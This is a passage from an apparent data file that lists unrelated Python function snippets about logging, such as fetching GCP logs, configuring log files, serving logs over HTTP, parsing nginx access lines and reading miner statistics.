len(result))\\n\\n\\t\\t# ----------- DEBUG -----------------\\n\\t\\tMODULE.info(\\\"updater/installer/logfile returns:\\\")\\n\\t\\tpp = pprint.PrettyPrinter(indent=4)\\n\\t\\tst = pp.pformat(result).split(\\\"\\\\n\\\")\\n\\t\\tfor s in st:\\n\\t\\t\\t\\tMODULE.info(\\\" >> %s\\\" % s)\\n\\t\\t# -----------------------------------\\n\\n\\t\\tself.finished(request.id, result)\",\n \"def Process(self) -> None:\\n\\n output_file = tempfile.NamedTemporaryFile(\\n mode='w', delete=False, encoding='utf-8', suffix='.jsonl')\\n output_path = output_file.name\\n self.logger.info('Downloading logs to {0:s}'.format(output_path))\\n\\n try:\\n if self._project_name:\\n logging_client = logging.Client(_use_grpc=False, # type: ignore\\n project=self._project_name)\\n else:\\n logging_client = logging.Client(_use_grpc=False) # type: ignore\\n\\n results = logging_client.list_entries( # type: ignore\\n order_by=logging.DESCENDING,\\n filter_=self._filter_expression,\\n page_size=1000)\\n\\n pages = results.pages\\n\\n while True:\\n try:\\n page = next(pages)\\n except google_api_exceptions.TooManyRequests as exception:\\n self.logger.warning(\\n 'Hit quota limit requesting GCP logs: {0:s}'.format(\\n str(exception)))\\n time.sleep(4)\\n continue\\n except StopIteration:\\n break\\n\\n for entry in page:\\n\\n log_dict = entry.to_api_repr()\\n output_file.write(json.dumps(log_dict))\\n output_file.write('\\\\n')\\n\\n except google_api_exceptions.NotFound as exception:\\n self.ModuleError(\\n 'Error accessing project: {0!s}'.format(exception), critical=True)\\n\\n except google_api_exceptions.InvalidArgument as exception:\\n self.ModuleError(\\n 'Unable to parse filter {0:s} with error {1:s}'.format(\\n self._filter_expression, exception), critical=True)\\n\\n except (google_auth_exceptions.DefaultCredentialsError,\\n google_auth_exceptions.RefreshError) as exception:\\n self.ModuleError(\\n 'Something is wrong with your gcloud access token or '\\n 'Application Default Credentials. Try running:\\\\n '\\n '$ gcloud auth application-default login')\\n # TODO: determine if exception should be converted into a string as\\n # elsewhere in the codebase.\\n self.ModuleError(exception, critical=True)\\n\\n except HttpError as exception:\\n if exception.resp.status == 403:\\n self.ModuleError(\\n 'Make sure you have the appropriate permissions on the project')\\n if exception.resp.status == 404:\\n self.ModuleError(\\n 'GCP resource not found. Maybe a typo in the project name?')\\n self.ModuleError(str(exception), critical=True)\\n\\n self.PublishMessage(f'Downloaded logs to {output_path}')\\n output_file.close()\\n\\n logs_report = containers.GCPLogs(\\n path=output_path, filter_expression=self._filter_expression,\\n project_name=self._project_name)\\n self.state.StoreContainer(logs_report)\",\n \"def get_system_logfile():\\n return \\\"system\\\" + get_day() + \\\".log\\\"\",\n \"def __init__(self, api_path=None, log_path=None, log_level=\\\"DEBUG\\\"):\\n\\n # Construct the log path. \\n if log_path:\\n self.log_path = log_path\\n else:\\n defaultlog_path = \\\"~/Spirent/CTA/Logs/\\\"\\n\\n now = datetime.datetime.now()\\n defaultlog_path += now.strftime(\\\"%Y-%m-%d-%H-%M-%S\\\")\\n defaultlog_path += \\\"_PID\\\"\\n defaultlog_path += str(os.getpid())\\n defaultlog_path = os.path.expanduser(defaultlog_path)\\n \\n # The environment variable overwrites the default path. \\n self.log_path = os.getenv(\\\"CTA_LOG_OUTPUT_DIRECTORY\\\", defaultlog_path) \\n\\n self.log_path = os.path.abspath(self.log_path)\\n self.logfile = os.path.join(self.log_path, \\\"cta_python.log\\\") \\n\\n if not os.path.exists(self.log_path):\\n os.makedirs(self.log_path)\\n\\n # NOTE: Consider limiting the number of log directories that are created.\\n # It would mean deleting older directories.\\n\\n #16/05/18 11:03:53.717 INFO 3078268608 - user.scripting - stc::get automationoptions -suppressTclErrors\\n #16/05/18 11:03:53.717 INFO 3078268608 - user.scripting - return false\\n #2016-05-19 14:05:56,382 UserID =mjefferson\\n #2016-05-19 14:05:56,382 Log Level=INFO\\n\\n if log_level == \\\"CRITICAL\\\":\\n log_level = logging.CRITICAL\\n elif log_level == \\\"ERROR\\\":\\n log_level = logging.ERROR\\n elif log_level == \\\"WARNING\\\":\\n log_level = logging.WARNING\\n elif log_level == \\\"INFO\\\": \\n log_level = logging.INFO\\n else:\\n # DEBUG is the default log level.\\n log_level = logging.DEBUG \\n \\n logging.basicConfig(filename=self.logfile, filemode=\\\"w\\\", level=log_level, format=\\\"%(asctime)s %(levelname)s %(message)s\\\")\\n #logging.Formatter(fmt='%(asctime)s.%(msecs)03d',datefmt='%Y/%m/%d %H:%M:%S')\\n # Add timestamps to each log message.\\n #logging.basicConfig()\\n # The logger is now ready. \\n\\n logging.info(\\\"Spirent TestCenter Conformance Application Python API is starting up...\\\")\\n logging.info(\\\"OS Type = \\\" + os.name)\\n logging.info(\\\"API Path = \\\" + api_path)\\n logging.info(\\\"UserID = \\\" + getpass.getuser())\\n logging.info(\\\"Log Level = \\\" + logging.getLevelName(log_level)) \\n logging.info(\\\"Current Path = \\\" + os.path.abspath(os.getcwd())) \\n logging.info(\\\"Log Path = \\\" + self.log_path)\\n\\n # Instantiate the Tcl interpreter.\\n self.tcl = Tcl()\\n\\n self.tcl.eval(\\\"lappend ::auto_path {\\\" + api_path + \\\"}\\\")\\n\\n logging.info(\\\"Tcl Version = \\\" + self.tcl.eval(\\\"info patchlevel\\\"))\\n logging.info(\\\"Tcl ::auto_path = \\\" + self.tcl.eval('set ::auto_path'))\\n logging.info(\\\"Loading the Spirent TestCenter Conformance Application in the Tcl interpreter...\\\")\\n self.Exec(\\\"package require SpirentTestCenterConformance\\\")\\n\\n return\",\n \"def get_log(*args, **kwargs):\\n return get_log_async(*args, **kwargs).get_result()\",\n \"def test_download_build_log_file(self, mock_serve, mock_test, mock_os):\\n from mod_test.controllers import (TestNotFoundException,\\n download_build_log_file)\\n\\n response = download_build_log_file('1')\\n\\n self.assertEqual(response, mock_serve())\\n mock_test.query.filter.assert_called_once()\\n mock_os.path.isfile.assert_called_once()\",\n \"def do_GET(s):\\n page = GeneratePageFromLog(LOG_FILENAME)\\n\\n s.send_response(200)\\n s.send_header(\\\"Content-type\\\", \\\"text/html\\\")\\n s.end_headers()\\n s.wfile.write(page)\",\n \"def ocsaudit_rest_log_command(method, url, url_args, username):\\n \\n try:\\n if method == \\\"GET\\\":\\n type = cmd_type.type_get\\n elif method == \\\"POST\\\":\\n type = cmd_type.type_post\\n elif method == \\\"PATCH\\\":\\n type = cmd_type.type_patch\\n elif method == \\\"DELETE\\\":\\n type = cmd_type.type_delete\\n else:\\n type = cmd_type.type_unknown\\n print \\\"Unidentified command type {0}\\\".format(method)\\n \\n url = url.split(\\\"/v1/\\\",1)[1]\\n args = \\\" \\\".join(url_args)\\n \\n ocsaudit_log_command(username, type, cmd_interface.interface_rest, \\n url, args)\\n except Exception as e:\\n print \\\"ocsaudit_rest_log_command Exception {0}\\\".format(e)\",\n \"def getLog(request):\\n # TODO: GET\\n data = {}\\n return data\",\n \"def getLog(self):\\n \\n return self.resp[\\\"log\\\"]\",\n \"def dumpHTTP(self, req, resp, content):\\n fmt = '[%s] %s %s %s| %s %s\\\\n'\\n dt_now = datetime.datetime.now()\\n str_now = dt_now.strftime('%Y-%m-%d %H:%M:%S')\\n\\n #\\n url = req['URL']\\n method = req['method']\\n body = req['request-body']\\n post_data = ''\\n if body and isinstance(body, StringType) and len(body):\\n post_data = body\\n pass\\n #print(type(resp))\\n if resp and isinstance(resp, DictionaryType) and len(resp):\\n resp = 'response_status : %s' % (resp.get('status', 'None'))\\n content = ''\\n pass\\n\\n ss = fmt % (str_now, method, url, post_data, resp, content)\\n print(ss)\\n #\\n\\n\\n logfile1 = os.path.join(os.getenv('G_LOG', '/root/automation/logs'), 'current/post_file_requests.log')\\n logfile2 = os.path.join(\\n os.getenv('U_DEBUG_HTTP_PLAY', os.getenv('G_CUREENTLOG', '/root/automation/logs/current')),\\n 'post_file_requests.log')\\n\\n logfiles = []\\n logfiles.append(logfile1)\\n if logfile1 != logfile2:\\n logfiles.append(logfile2)\\n pass\\n\\n for logfile in logfiles:\\n try:\\n fd = open(logfile, 'a+')\\n if fd:\\n fd.write(ss)\\n fd.close()\\n pass\\n pass\\n except Exception, e:\\n print('write debug log file(%s) failed : %s' % (logfile, e))\\n pass\\n pass\\n\\n pass\",\n \"def upload_logs():\\n return {\\n 'page': 'upload_logs',\\n 'raw_logs': '',\\n }\",\n \"def ngx_log_to_requestinfo(log=None):\\n # pat is defined due to default nginx access.log format\\n pat = (r''\\n '(\\\\d+.\\\\d+.\\\\d+.\\\\d+)\\\\s-\\\\s-\\\\s'\\n '\\\\[(.+)\\\\]\\\\s'\\n '\\\"GET\\\\s(.+)\\\\s\\\\w+/.+\\\"\\\\s'\\n '(\\\\d+)\\\\s'\\n '(\\\\d+)\\\\s'\\n '\\\"(.+)\\\"\\\\s'\\n '\\\"(.+)\\\"'\\n )\\n if log:\\n request_info = re.findall(pat, log)[0]\\n if request_info:\\n request_info = RequestInfo(request_info[0], request_info[1], request_info[2], request_info[3],\\n request_info[4], request_info[5], request_info[6])\\n return request_info\",\n \"def _log_response(*, log_path: Path, ip_dict: Dict[str, int], response: Response) -> None:\\n LOGGER.info(f\\\"logged request: {response.url}\\\")\\n with log_path.open(mode=\\\"a\\\", encoding=\\\"utf-8\\\") as f:\\n all_responses = [response]\\n\\n # Poll and wait for operations, if applicable\\n is_operation_request = bool(\\n re.match(re.compile(\\\".*/api/versioned/v1/operations/.*\\\"), response.url)\\n )\\n is_get_request = response.request.method == \\\"GET\\\"\\n if is_get_request and is_operation_request:\\n wait_resp = _collect_operation_calls(response=response)\\n all_responses.extend(wait_resp)\\n\\n all_json = [_response_to_json(r, ip_dict) for r in all_responses]\\n f.writelines([f\\\"{j}\\\\n\\\" for j in all_json])\",\n \"def log_info(request, piece_id):\\n\\n asset = AssetMap.objects.get(piece=piece_id)\\n url = '/'.join([FTP_URL, asset.folder, asset.name+'.log',])\\n context = {\\n 'keyform': KeySearchForm(auto_id=False),\\n 'piece' : Piece.objects.get(pk=piece_id),\\n 'logfile': requests.get(url),\\n }\\n return render(request, 'mutopia/piece_log.html', context)\",\n \"def do_GET(self):\\n try:\\n \\n # parse the requested page and see if it's valid\\n parse_status, explanation_str = self.parse_header(self.path)\\n \\n # parse_status:\\n # -1: error\\n # 0: /log/* request\\n # 1: /detailed/node/timestamp request\\n print str(self.parse_header(self.path))\\n \\n explanation_str = str(explanation_str)\\n \\n # error\\n if parse_status == -1:\\n # invalid header, close the connection and die but notify user\\n self.send_response(200)\\n self.send_header('Content-type',\\t'text/html')\\n self.end_headers()\\n self.wfile.write('Invalid request ('+explanation_str+')')\\n print '-1'\\n return\\n \\n # 1: /detailed/node/timestamp request\\n elif parse_status == 1:\\n print '1'\\n # just need to respond with the file that's contained in explanation_str\\n # and once we verify that it exists, we're golden\\n \\n # path to the \\\"detailed\\\" file\\n file_path = explanation_str\\n \\n if os.path.isfile(file_path):\\n try:\\n # TODO: make HTML here to nav around previous node things\\n detailed_file_handle = open(file_path, 'r')\\n self.send_response(200)\\n self.send_header('Content-type',\\t'text/plain')\\n self.end_headers() \\n self.wfile.write(detailed_file_handle.read())\\n detailed_file_handle.close()\\n return\\n except Exception, e:\\n print 'Error while sending detailed log file'\\n print e\\n return\\n else:\\n self.send_response(200)\\n self.send_header('Content-type',\\t'text/html')\\n self.end_headers()\\n self.wfile.write('Invalid file request')\\n return\\n \\n # 0: /log/* request\\n elif parse_status == 0:\\n print '0'\\n # request was successfull, we just want the filename from index\\n log_index = explanation_str\\n \\n success_status, log_filename = self.get_filename_from_index(log_index)\\n \\n if success_status == -1:\\n # some kind of error of which the description is stored in log_filename\\n #sockobj.send('The server encountered an error opening the file, please'+\\\\\\n # ' try your request again')\\n self.send_response(200)\\n self.send_header('Content-type',\\t'text/html')\\n self.end_headers() \\n self.wfile.write('The server encountered an error opening the file, please'+\\\\\\n ' try your request again')\\n return\\n \\n # the file exists!\\n # just dump the file at this point, and then...\\n \\n # send the HTML file\\n self.send_response(200)\\n self.send_header('Content-type',\\t'text/html')\\n self.end_headers()\\n self.send_html_file(log_filename, log_index)\\n return\\n\\n # invalid type\\n else:\\n self.send_response(200)\\n self.send_header('Content-type',\\t'text/html')\\n self.end_headers()\\n self.wfile.write('Invalid request type 2')\\n return\\n \\n except IOError:\\n self.send_error(404,'File Not Found: %s' % self.path)\\n \\n return\",\n \"def _log_request(self):\\n log = self.server.log\\n if log:\\n if hasattr(log, \\\"info\\\"):\\n log.info(self.format_request() + '\\\\n')\\n else:\\n log.write(self.format_request() + '\\\\n')\",\n \"def load_log_from_path():\\n if Configuration.enable_load_local_path:\\n try:\\n # reads the session\\n session = request.args.get('session', type=str)\\n\\n if check_session_validity(session):\\n user = get_user_from_session(session)\\n\\n # reads the log_name entry from the request JSON\\n log_name = request.json[\\\"log_name\\\"]\\n # reads the log_path entry from the request JSON\\n log_path = request.json[\\\"log_path\\\"]\\n parameters = request.json[\\\"parameters\\\"] if \\\"parameters\\\" in request.json else None\\n print(\\\"log_name = \\\", log_name, \\\"log_path = \\\", log_path)\\n lh.load_log_static(log_name, log_path, parameters=parameters)\\n return \\\"OK\\\"\\n except:\\n traceback.print_exc()\\n return \\\"FAIL\\\"\\n return \\\"FAIL\\\"\",\n \"def getNodeSyslog(self,node):\\n data = self.connect('get','nodes/%s/syslog' % (node),None)\\n return data\",\n \"def logs(app_or_svc, host, uniq, service):\\n try:\\n app, uniq, logtype, logname = app_or_svc.split('/', 3)\\n except ValueError:\\n app, uniq, logtype, logname = app_or_svc, uniq, 'service', service\\n\\n if any(param is None for param in [app, uniq, logtype, logname]):\\n cli.bad_exit('Incomplete parameter list')\\n\\n _host, port = _nodeinfo_endpoint(host)\\n\\n api = 'http://{0}:{1}'.format(host, port)\\n logurl = '/local-app/%s/%s/%s/%s' % (\\n urllib_parse.quote(app),\\n urllib_parse.quote(uniq),\\n logtype,\\n urllib_parse.quote(logname)\\n )\\n\\n log = restclient.get(api, logurl)\\n click.echo(log.text)\",\n \"def system_log_separation(log_type, log):\\n satellite_log = []\\n if log_type == \\\"satellite-log\\\":\\n satellite_log = re.split(r\\\"(\\\\[DEBUG \\\\d*-\\\\d*-\\\\d*\\\\w\\\\d*:\\\\d*:\\\\d* \\\\w*\\\\])\\\", log)\\n elif (log_type == \\\"messages\\\") or (log_type == \\\"candelpin-log\\\"):\\n satellite_log = re.split(r\\\"(\\\\w{1,3} \\\\d{1,2} \\\\d{1,2}:\\\\d{1,2}:\\\\d{1,2})\\\", log)\\n if satellite_log:\\n satellite_log.pop(0)\\n log = Common.combining_alternate_element(satellite_log)\\n return log\",\n \"def parse_header(self, header):\\n # \\n \\n # this is what the line'll look like:\\n # e.g.: /logs/1\\n # e.g.: /detailed/host/timestamp\\n\\n # get index of first slash\\n first_slash = header.index('/')\\n \\n \\n # splice the string now and remove any spaces\\n requested_folder = header.strip('/')\\n \\n # check if it's just a slash\\n if not requested_folder:\\n # return a 0 meaning we want the latest log file\\n return (0, 0)\\n else:\\n # check that it's a valid request\\n detailed_request = requested_folder.split('/')\\n # detailed_request should be of form /log/* where * is a number\\n # two types of requests:\\n # type 1: /log/* where * is a number\\n # type 2: /detailed/node_name/timestamp\\n # node_name: node name\\n # timetamp is the timestamp of the run\\n \\n \\n if len(detailed_request) == 2:\\n # type 1 request\\n # first entry is '' since there's a leading '/'\\n if detailed_request[0] == 'log':\\n # now get a valid number for a folder request\\n try:\\n log_number = int(detailed_request[1])\\n except Exception, e:\\n print \\\"Error obtaining log (request: \\\"+requested_folder+\\\")\\\"\\n return (-1, str(e))\\n else:\\n return (0, log_number)\\n else:\\n return (-1, 'Invalid request (len 2)')\\n elif len(detailed_request) == 3:\\n # type 2 request\\n if detailed_request[0] == 'detailed':\\n nodename = detailed_request[1]\\n timestamp = detailed_request[2]\\n # verify that timestamp is a valid #\\n try:\\n timestamp_int = int(timestamp)\\n except ValueError, ve:\\n print 'Invalid timestamp requested, '+timestamp\\n print ve\\n return (-1, 'Invalid timestamp')\\n else:\\n # return the filepath as our response\\n return (1, './detailed_logs/'+nodename+'/'+timestamp)\\n \\n \\n else:\\n return (-1, 'Invalid request (len 3)')\\n \\n else:\\n # invalid!\\n return (-1, 'Invalid detailed log request ('+str(detailed_request)+')')\",\n \"async def fetch_logs(self) -> bytes:\\n host = \\\"127.0.0.1\\\"\\n port = 42000\\n dt = datetime.now(pytz.timezone(\\\"Europe/Amsterdam\\\"))\\n request = {\\\"id\\\": 1, \\\"method\\\": \\\"getstat\\\"}\\n\\n point = TCP4ClientEndpoint(reactor, host, port)\\n try:\\n connected_p = await connectProtocol(\\n point, EWBFProtocol()) # type: EWBFProtocol\\n response = await connected_p.make_request(request)\\n except Exception as e:\\n print(\\\"couldn't connect. {}\\\".format(e))\\n return b\\\"\\\"\\n else:\\n rl = []\\n t = 0 # type: int\\n power = speed = accept = reject = 0\\n for idx, data in enumerate(response['result']):\\n rl.append(\\\"GPU{0}_SPEED: {1} H/s\\\".format(\\n idx, data['speed_sps']))\\n rl.append(\\\"GPU{0}_POWER: {1}\\\".format(\\n idx, data['gpu_power_usage']))\\n t = data['start_time']\\n power += data['gpu_power_usage']\\n speed += data['speed_sps']\\n accept += data['accepted_shares']\\n reject += data['rejected_shares']\\n\\n rl.append(\\\"Power: {0}\\\".format(power))\\n rl.append(\\\"Total speed: {0} Sol/s\\\".format(speed))\\n rl.append(\\\"Accepted share: {0}\\\".format(accept))\\n rl.append(\\\"Rejected share: {0}\\\".format(reject))\\n rl.append(\\\"Total GPUs: {0}\\\".format(len(response['result'])))\\n rl.append(\\\"START_TIME: {0}\\\".format(int(t)))\\n rl.append(\\\"CURRENT_TIME: {0}\\\".format(int(dt.timestamp())))\\n rl.append(\\\"UPTIME: {0}\\\".format(int(dt.timestamp() - t)))\\n return \\\";\\\".join(rl).encode('utf-8') + b\\\";\\\"\",\n \"def LogData(\\n serverName: str, pubIp: str, apiName: str, result,\\n request: dict):\\n log_id = str(uuid.uuid4())\\n dateTime = str(datetime.today())\\n if \\\"Image\\\" in request:\\n request['Image'] = str(request['Image'])\\n if \\\"File\\\" in request:\\n request['File'] = str(request['File'])\\n\\n paramData = json.dumps(request)\\n errorInfo = sys.exc_info()\\n errorMessage = \\\"\\\"\\n if errorInfo[2] is not None:\\n errorMessage = f'Error at lineNumber: {str(errorInfo[2].tb_lineno)} {str(errorInfo[0])} {str(errorInfo[1])}'\\n info = {\\n \\\"log_Id\\\": log_id, \\\"ServerName\\\": serverName, \\\"DateTime\\\": dateTime,\\n \\\"PublicIP\\\": pubIp, \\\"APIName\\\": apiName,\\n \\\"Result\\\": errorMessage + str(result), \\\"ParameterData\\\": str(paramData)\\n\\n }\\n logger = logging.getLogger(__name__)\\n logger.info(f'{info}')\\n return log_id\",\n \"def export_log(self):\\r\\n if self.log[\\\"datetime\\\"] is not None and not self.log[\\\"datetime\\\"] == \\\"\\\":\\r\\n logs_dir = ''\\r\\n user = 'default'\\r\\n program_data = 'data\\\\program_data.json5'\\r\\n with open(program_data) as f:\\r\\n config = json.load(f)\\r\\n logs_dir = config.get(\\\"logs_records_path\\\", \\\"\\\")\\r\\n user = config.get(\\\"user\\\", \\\"default\\\")\\r\\n file_name = user+\\\" \\\"+self.log[\\\"datetime\\\"].replace(\\\"/\\\", \\\"\\\")\\r\\n file_name = file_name.replace(\\\" \\\", \\\"_\\\")\\r\\n file_name = file_name.replace(\\\":\\\", \\\"\\\")\\r\\n cwd = os.getcwd()\\r\\n if not logs_dir == \\\"\\\" and os.path.exists(logs_dir):\\r\\n if not user in os.listdir(logs_dir):\\r\\n os.makedirs(os.path.join(logs_dir, user))\\r\\n logs_dir = os.path.join(logs_dir, user)\\r\\n file_name = os.path.join(logs_dir, file_name)\\r\\n self.save_records(file_name)\\r\\n elif \\\"logs\\\" in os.listdir(cwd):\\r\\n folder = os.path.join(cwd, \\\"logs\\\")\\r\\n file_name = os.path.join(folder, file_name)\\r\\n self.save_records(file_name)\\r\\n self.reset_values()\",\n \"def get_log_summary():\\n # reads the session\\n session = request.args.get('session', type=str)\\n # reads the requested process name\\n process = request.args.get('process', default='receipt', type=str)\\n\\n dictio = {}\\n\\n if check_session_validity(session):\\n user = get_user_from_session(session)\\n if lh.check_user_log_visibility(user, process):\\n this_variants_number = lh.get_handler_for_process_and_session(process, session).variants_number\\n this_cases_number = lh.get_handler_for_process_and_session(process, session).cases_number\\n this_events_number = lh.get_handler_for_process_and_session(process, session).events_number\\n\\n ancestor_variants_number = lh.get_handler_for_process_and_session(process,\\n session).first_ancestor.variants_number\\n ancestor_cases_number = lh.get_handler_for_process_and_session(process, session).first_ancestor.cases_number\\n ancestor_events_number = lh.get_handler_for_process_and_session(process,\\n session).first_ancestor.events_number\\n\\n dictio = {\\\"this_variants_number\\\": this_variants_number, \\\"this_cases_number\\\": this_cases_number,\\n \\\"this_events_number\\\": this_events_number, \\\"ancestor_variants_number\\\": ancestor_variants_number,\\n \\\"ancestor_cases_number\\\": ancestor_cases_number, \\\"ancestor_events_number\\\": ancestor_events_number}\\n print(dictio)\\n\\n ret = jsonify(dictio)\\n return ret\",\n \"def return_log(logname, n=0):\\n logger.debug(f'Reading Log {logname}')\\n if os.path.exists(f'logs/{logname}.log'):\\n with open(f'logs/{logname}.log','r') as fo:\\n log_info = fo.readlines()[-n:]\\n elif logname == 'journalctl':\\n if n == 0: n = 1000\\n os.system(f'journalctl -u smartalarm -n {n} > logs/jctl.log')\\n with open(f'logs/jctl.log','r') as fo:\\n log_info = fo.readlines()\\n else:\\n flash(f'No Log Named {logname}')\\n log_info = ''\\n cleaned_log_info = []\\n for line in log_info:\\n if not line.startswith('['):\\n line = ' ' + line\\n cleaned_log_info.append(line + '<br>')\\n return render_template('viewlog/view-log.html', log=''.join(cleaned_log_info))\",\n \"def download(self, output):\\n self.wait()\\n path = 'auditlogEntryReport/download'\\n with open(output, 'w') as f:\\n f.write(self._session.get(path))\\n LOGGER.info('log downloaded: {}'.format(output))\",\n \"def start_btslog(btslog_dir, log_type):\\r\\n \\r\\n log_type = log_type.upper()\\r\\n if \\\"BTSlog2\\\" in btslog_dir:\\r\\n if log_type == 'UDP':\\r\\n argument = 'start_udplog'\\r\\n elif log_type == 'TRACING':\\r\\n argument = 'start_tracing'\\r\\n elif log_type == 'BOTH':\\r\\n argument = 'start_both'\\r\\n else:\\r\\n raise Exception, \\\"log_type '%s' is not supported\\\" % log_type\\r\\n start_program_with_psexec('\\\\\\\"%s\\\\\\\" -nogui -%s' % (btslog_dir, argument))\\r\\n\\r\\n else:\\r\\n if log_type == 'UDP':\\r\\n argument = 'start_udplog'\\r\\n elif log_type == 'TRACING':\\r\\n argument = 'start_bssigrec'\\r\\n elif log_type == 'BOTH':\\r\\n argument = 'start_both'\\r\\n else:\\r\\n raise Exception, \\\"log_type '%s' is not supported\\\" % log_type\\r\\n ret = connections.execute_shell_command_without_check('\\\\\\\"%s\\\\\\\" %s' % (btslog_dir, argument))\\r\\n if ret.find('is not recognized') > 0: # probably given path is not avaialbe\\r\\n raise Exception, 'start %s log failed' % log_type\",\n \"def extract_log_info(request, response=None):\\n\\n log_data = {\\n 'remote_address': request.META.get('REMOTE_ADDR'),\\n 'request_method': request.method,\\n 'request_path': request.get_full_path(),\\n 'run_time': time.time() - request.start_time,\\n 'request_body': str(request.body, 'utf-8'),\\n 'response_body': response.content\\n }\\n return log_data\",\n \"def getNodeTaskLogByUPID(self,node,upid):\\n data = self.connect('get','nodes/%s/tasks/%s/log' % (node,upid),None)\\n return data\",\n \"def test_nodelog_apiserver(self):\\n nodelog_url = self.BUILD_DIR + 'nodelog?pod=abc&junit=junit_01.xml'\\n init_build(self.BUILD_DIR)\\n write(self.BUILD_DIR + 'artifacts/tmp-node-image/junit_01.xml', JUNIT_SUITE)\\n write(self.BUILD_DIR + 'artifacts/tmp-node-image/kube-apiserver.log',\\n 'apiserver pod abc\\\\n')\\n response = app.get('/build' + nodelog_url)\\n self.assertIn(\\\"Wrap line\\\", response)\",\n \"def log_type(self) -> Optional[pulumi.Input['AuditLogConfigLogType']]:\\n return pulumi.get(self, \\\"log_type\\\")\",\n \"def getLog(self):\\n return self.session.request('diag/log/')\",\n \"def load_logs(workdir='.', logtype='log', logbase='log*log', geobase='geo*log'):\\n workdir = os.path.abspath(workdir)\\n if logtype == 'log':\\n globbase = os.path.join(workdir, logbase)\\n loader = bats.BatsLog\\n elif logtype == 'geo':\\n globbase = os.path.join(workdir, geobase)\\n loader = bats.GeoIndexFile\\n else:\\n raise ValueError('load_logs: logtype must be either \\\"log\\\" or \\\"geo\\\", not {}'.format(logtype))\\n fns = sorted(glob.glob(globbase))\\n if not fns:\\n raise IOError('No log files found with selected search term ({})'.format(globbase))\\n all_logs = [loader(fn) for fn in fns]\\n log = all_logs[0]\\n if len(all_logs)>1:\\n for nlg in all_logs[1:]:\\n log = merge_logfiles(log, nlg)\\n return log\",\n \"def redire_spark_logs(bigdl_type=\\\"float\\\", log_path=os.getcwd() + \\\"/bigdl.log\\\"):\\n callBigDlFunc(bigdl_type, \\\"redirectSparkLogs\\\", log_path)\",\n \"def download(progid, date):\\n logger = log.getLogger('obslog.download')\\n\\n if not re.match(r'^G[NS]-[0-9]{4}[AB]-([CQ]|DD|FT|LP|SV)-[0-9]{0,3}$', progid):\\n logger.error('This does not look like a program ID: %s', progid)\\n raise SystemExit\\n\\n obslog = date + '_' + progid + '_obslog.txt'\\n url = 'https://archive.gemini.edu/file/' + obslog\\n logger.debug('URL: %s', url)\\n logger.info('Downloading %s...', obslog)\\n urllib.urlretrieve(url, obslog)\\n return\",\n \"def call_SLV_getDevicesLogValues(url: str, authentication: tuple, format: str, deviceId: Union[int, list],\\n name: Union[str, list], from_date: str, to_date: str,\\n write_file_to: str = \\\"\\\") -> Union[Tuple[requests.request, str], requests.request]:\\n api_method = 'getDevicesLogValues' # function which gets called on SLV server\\n api_part = '/api/logging/' # where the function is on SLV server\\n # setting up parameters\\n param = MultiDict([('ser', format), ('from', from_date), ('to', to_date)])\\n param = add_to_parameters('deviceId', deviceId, param)\\n param = add_to_parameters('name', name, param, 1)\\n # checking format input\\n if not (\\n format == 'json' or format == 'xml'): # if format argument does not match expected input raises an error\\n raise ValueError(\\n \\\"wrong input parameters for APIFinal.call_SLV_getAllControllers function : format must be either 'xml' or 'json' \\\\n\\\")\\n print('calling ' + api_method + '...')\\n r = requests.post(url + api_part + api_method, data=param,\\n auth=authentication) # post the request because there are several sub calls\\n if write_file_to != \\\"\\\": # if asked, writes file\\n if type(deviceId) is list and type(name) is list:\\n file_name = api_method # the output file name if write_file is true and deviceId is a list\\n elif type(name) is list:\\n file_name = api_method + \\\"_\\\" + param[\\n 'deviceId'] # the output file name if write_file is true and name is a list\\n elif type(deviceId) is list:\\n file_name = api_method + \\\"_\\\" + param[\\n 'name'] # the output file name if write_file is true and deviceId and name are lists\\n else:\\n file_name = api_method + \\\"_\\\" + param['deviceId'] + \\\"_\\\" + param[\\n 'name'] # the output file name if write_file is true\\n file_name = file_name + \\\"_\\\" + param['from'] + \\\"_\\\" + param['to']\\n write_request(r, param, file_name)\\n return r, file_name\\n return r\",\n \"def get_action_logfile():\\n return \\\"action\\\" + get_day() + \\\".log\\\"\",\n \"def get_resource(self, resource_name, **kwargs):\\n if resource_name == 'log':\\n # TODO(micucci) Use an SSH accessor here if this app is\\n # on a remote host\\n self.LOG.debug(\\\"Fetching log from: \\\" +\\n self.log_dir + \\\"/midolman.log\\\")\\n floc = FileLocation(self.log_dir + '/midolman.log')\\n return floc.fetch_file()\\n elif resource_name == 'fwaas_log':\\n if 'uuid' not in kwargs:\\n # This path not currently used or tested.\\n # Get ALL firewall logs as a dict of filename -> contents\\n loggers = {}\\n txt_logs = LinuxCLI().ls(self.log_dir + '/firewall-*.log')\\n if txt_logs:\\n # Old text log format.\\n for log in txt_logs:\\n floc = FileLocation(log)\\n self.LOG.debug(\\n \\\"Fetching fwaas legacy text log from: \\\" + log)\\n uuid = self.fwaas_txtlog_filename_rex.match(\\n log).groups()[0]\\n self.LOG.debug(\\\"Logger UUID: \\\" + uuid)\\n loggers[uuid] = self.parse_fwaas_txt_log(\\n floc.fetch_file())\\n return loggers\\n else:\\n # New binary log format.\\n return self.read_fwaas_bin_log()\\n else:\\n uuid = str(kwargs['uuid'])\\n txt_log = self.log_dir + '/firewall-' + uuid + '.log'\\n if path.isfile(txt_log):\\n # Old text log format\\n self.LOG.debug(\\\"Fetching fwaas legacy text log from: \\\" +\\n txt_log)\\n floc = FileLocation(txt_log)\\n return self.parse_fwaas_txt_log(floc.fetch_file())\\n else:\\n loggers = self.read_fwaas_bin_log()\\n if uuid in loggers:\\n return loggers[uuid]\\n else:\\n self.LOG.debug(\\n \\\"Found no log entries for UUID: \\\" + uuid)\\n return []\\n return None\",\n \"def log(msg):\\n\\tfrom http_request import req\\n\\tif not req: return\\n\\t\\t\\n\\tif not req.out.get('_log'):\\n\\t\\treq.out['_log'] = []\\n\\treq.out['_log'].append(msg)\",\n \"def log(self):\\n\\n\\t\\theader_dict = dict(request.headers)\\n\\n\\t\\ttry:\\n\\t\\t\\ttracker_id = header_dict[\\\"tracker_id\\\"]\\n\\t\\texcept Exception:\\n\\t\\t\\ttracker_id = None\\n\\t\\t\\n\\t\\ttry:\\n\\t\\t\\tuser_agent = header_dict[\\\"User-Agent\\\"]\\n\\t\\texcept Exception:\\n\\t\\t\\tuser_agent = None\\n\\n\\t\\ttry:\\n\\t\\t\\tlanguage = header_dict[\\\"Accept-Language\\\"]\\n\\t\\texcept Exception:\\n\\t\\t\\tlanguage = None\\n\\n\\t\\ttry:\\n\\t\\t\\treferer = header_dict[\\\"Referer\\\"]\\n\\t\\texcept Exception:\\n\\t\\t\\treferer = 